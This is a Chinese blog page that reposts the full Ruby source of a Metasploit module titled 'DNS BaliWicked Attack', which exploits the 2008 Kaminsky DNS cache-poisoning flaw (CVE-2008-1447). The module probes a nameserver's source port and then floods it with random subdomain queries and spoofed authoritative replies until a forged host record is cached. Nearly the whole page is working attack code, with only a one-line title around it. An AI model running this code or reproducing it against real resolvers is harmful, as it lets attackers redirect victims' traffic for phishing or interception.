利用DNS漏洞攻击的Ruby代码

 
1 require 'msf/core'
2 require 'net/dns'
3 require 'scruby'
4 require 'resolv'

6 module Msf

8 class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary

10        include Exploit::Remote::Ip
11 
12        def initialize(info = {})
13                super(update_info(info, 
14                        'Name'          => 'DNS BaliWicked Attack',
15                        'Description'    => %q{
16                                This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
17                                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
18                                malicious host entry into the target nameserver by sending random sub-domain
19                                queries to the target DNS server coupled with spoofed replies to those
20                                queries from the authoritative nameservers for the domain which contain a
21                                malicious host entry for the hostname to be poisoned in the authority and
22                                additional records sections.  Eventually, a guessed ID will match and the
23                                spoofed packet will get accepted, and due to the additional hostname entry
24                                being within baliwick constraints of the original request the malicious host
25                                entry will get cached.
26                        },
27                        'Author'        => [ 'I)ruid', 'hdm' ],
28                        'License'        => MSF_LICENSE,
29                        'Version'        => '$Revision$',
30                        'References'    =>
31                                [
32                                        [ 'CVE', '2008-1447' ],
33                                        [ 'US-CERT-VU', '8000113' ],
34                                        [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
35                                ],
36                        'Privileged'    => true,
37                        'Targets'        => 
38                                [
39                                        ["BIND", 
40                                                {
41                                                        'Arch' => ARCH_X86,
42                                                        'Platform' => 'linux',
43                                                },
44                                        ],
45                                ],
46                        'DisclosureDate' => 'Jul 21 2008'
47                        ))
48                         
49                        register_options(
50                                [
51                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
52                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
53                                        OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
54                                        OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
55                                        OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
56                                        OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
57                                ], self.class)
58                                         
59        end
60         
61        def auxiliary_commands
62                return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
63        end
64 
65        def cmd_check(*args)
66                targ = args[0] || rhost()
67                if(not (targ and targ.length > 0))
68                        print_status("usage: check [dns-server]")
69                        return
70                end
71 
72                print_status("Using the Metasploit service to verify exploitability...")
73                srv_sock = Rex::Socket.create_udp(
74                        'PeerHost' => targ,
75                        'PeerPort' => 53
76                )               
77 
78                random = false
79                ports  = []
80                lport  = nil
81                 
82                1.upto(5) do |i|
83                 
84                        req = Resolv::DNS::Message.new
85                        txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
86                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
87                        req.rd = 1
88                         
89                        srv_sock.put(req.encode)
90                        res, addr = srv_sock.recvfrom()
91                         
92 
93                        if res and res.length > 0
94                                res = Resolv::DNS::Message.decode(res)
95                                res.each_answer do |name, ttl, data|
96                                        if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
97                                                t_addr, t_port = $1.split(':')
98 
99                                                print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
100                                                t_port = t_port.to_i
101                                                if(lport and lport != t_port)
102                                                        random = true
103                                                end
104                                                lport  = t_port
105                                                ports << t_port
106                                        end
107                                end
108                        end     
109                end
110                 
111                srv_sock.close
112                 
113                if(ports.length < 5)
114                        print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
115                        return
116                end
117                 
118                if(random)
119                        print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
120                        print_status("      This server may still be exploitable, but not by this tool.")
121                else
122                        print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
123                end
124        end
125                 
126        def run
127                target  = rhost()
128                source  = Rex::Socket.source_address(target)
129                sport    = datastore['SRCPORT']
130                hostname = datastore['HOSTNAME'] + '.'
131                address  = datastore['NEWADDR']
132                recons  = datastore['RECONS']
133                xids    = datastore['XIDS'].to_i
134                ttl      = datastore['TTL'].to_i
135 
136                domain = hostname.match(/[^/x2e]+/x2e[^/x2e]+/x2e$/)[0]
137 
138                srv_sock = Rex::Socket.create_udp(
139                        'PeerHost' => target,
140                        'PeerPort' => 53
141                )
142 
143                # Get the source port via the metasploit service if it's not set
144                if sport.to_i == 0
145                        req = Resolv::DNS::Message.new
146                        txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
147                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
148                        req.rd = 1
149                         
150                        srv_sock.put(req.encode)
151                        res, addr = srv_sock.recvfrom()
152                         
153                        if res and res.length > 0
154                                res = Resolv::DNS::Message.decode(res)
155                                res.each_answer do |name, ttl, data|
156                                        if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
157                                                t_addr, t_port = $1.split(':')
158                                                sport = t_port.to_i
159 
160                                                print_status("Switching to target port #{sport} based on Metasploit service")
161                                                if target != t_addr
162                                                        print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
163                                                end
164                                        end
165                                end
166                        end
167                end
168 
169                # Verify its not already cached
170                begin
171                        query = Resolv::DNS::Message.new
172                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
173                        query.rd = 0
174 
175                        begin
176                                cached = false
177                                srv_sock.put(query.encode)
178                                answer, addr = srv_sock.recvfrom()
179 
180                                if answer and answer.length > 0
181                                        answer = Resolv::DNS::Message.decode(answer)
182                                        answer.each_answer do |name, ttl, data|
183                                                if((name.to_s + ".") == hostname  and data.address.to_s == address)
184                                                        t = Time.now + ttl
185                                                        print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
186                                                        print_status("        Cache entry expires on #{t.to_s}... sleeping.")
187                                                        cached = true
188                                                        sleep ttl
189                                                end
190                                        end
191                                end
192                        end until not cached
193                rescue ::Interrupt
194                        raise $!
195                rescue ::Exception => e
196                        print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
197                end
198 
199                res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
200 
201                print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
202 
203                # Look up the nameservers for the domain
204                print_status "Querying recon nameserver for #{domain}'s nameservers..."
205                answer0 = res0.send(domain, Net::DNS::NS)
206                #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
207 
208                barbs = [] # storage for nameservers
209                answer0.answer.each do |rr0|
210                        print_status " Got an #{rr0.type} record: #{rr0.inspect}"
211                        if rr0.type == 'NS'
212                                print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
213                                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
214                                #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
215                                answer1.answer.each do |rr1|
216                                        print_status " Got an #{rr1.type} record: #{rr1.inspect}"
217                                        res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
218                                        print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
219                                        answer2 = res2.send(domain)
220                                        if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
221                                                nsrec = {:name => rr0.nsdname, :addr => rr1.address}
222                                                barbs << nsrec
223                                                print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
224                                        end
225                                end
226                        end     
227                end
228 
229                if barbs.length == 0
230                        print_status( "No DNS servers found.")
231                        srv_sock.close
232                        disconnect_ip
233                        return
234                end
235 
236                # Flood the target with queries and spoofed responses, one will eventually hit
237                queries = 0
238                responses = 0
239 
240                connect_ip if not ip_sock
241 
242                print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
243 
244                while true
245                        randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
246 
247                        # Send spoofed query
248                        req = Resolv::DNS::Message.new
249                        req.id = rand(2**16)
250                        req.add_question(randhost, Resolv::DNS::Resource::IN::A)
251 
252                        req.rd = 1
253 
254                        buff = (
255                                Scruby::IP.new(
256                                        #:src  => barbs[0][:addr].to_s,
257                                        :src  => source,
258                                        :dst  => target,
259                                        :proto => 17
260                                )/Scruby::UDP.new(
261                                        :sport => (rand((2**16)-1024)+1024).to_i,
262                                        :dport => 53
263                                )/req.encode
264                        ).to_net
265                        ip_sock.sendto(buff, target)
266                        queries += 1
267                         
268                        # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
269                        req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
270                        req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
271                        req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
272                        req.qr = 1
273                        req.ra = 1
274 
275                        p = rand(4)+2*10000
276                        p.upto(p+xids-1) do |id|
277                                req.id = id
278                                barbs.each do |barb|
279                                        buff = (
280                                                Scruby::IP.new(
281                                                        #:src  => barbs [:addr].to_s,
282                                                        :src  => barb[:addr].to_s,
283                                                        :dst  => target,
284                                                        :proto => 17
285                                                )/Scruby::UDP.new(
286                                                        :sport => 53,
287                                                        :dport => sport.to_i
288                                                )/req.encode
289                                        ).to_net
290                                        ip_sock.sendto(buff, target)
291                                        responses += 1
292                                end
293                        end
294 
295                        # status update
296                        if queries % 1000 == 0
297                                print_status("Sent #{queries} queries and #{responses} spoofed responses...")
298                        end
299 
300                        # every so often, check and see if the target is poisoned...
301                        if queries % 250 == 0 
302                                begin
303                                        query = Resolv::DNS::Message.new
304                                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
305                                        query.rd = 0
306         
307                                        srv_sock.put(query.encode)
308                                        answer, addr = srv_sock.recvfrom()
309 
310                                        if answer and answer.length > 0
311                                                answer = Resolv::DNS::Message.decode(answer)
312                                                answer.each_answer do |name, ttl, data|
313                                                        if((name.to_s + ".") == hostname and data.address.to_s == address)
314                                                                print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
315                                                                disconnect_ip
316                                                                return
317                                                        end
318                                                end
319                                        end
320                                rescue ::Interrupt
321                                        raise $!
322                                rescue ::Exception => e
323                                        print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
324                                end
325                        end
326 
327                end
328 
329        end
330 
331 end
332 end     
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值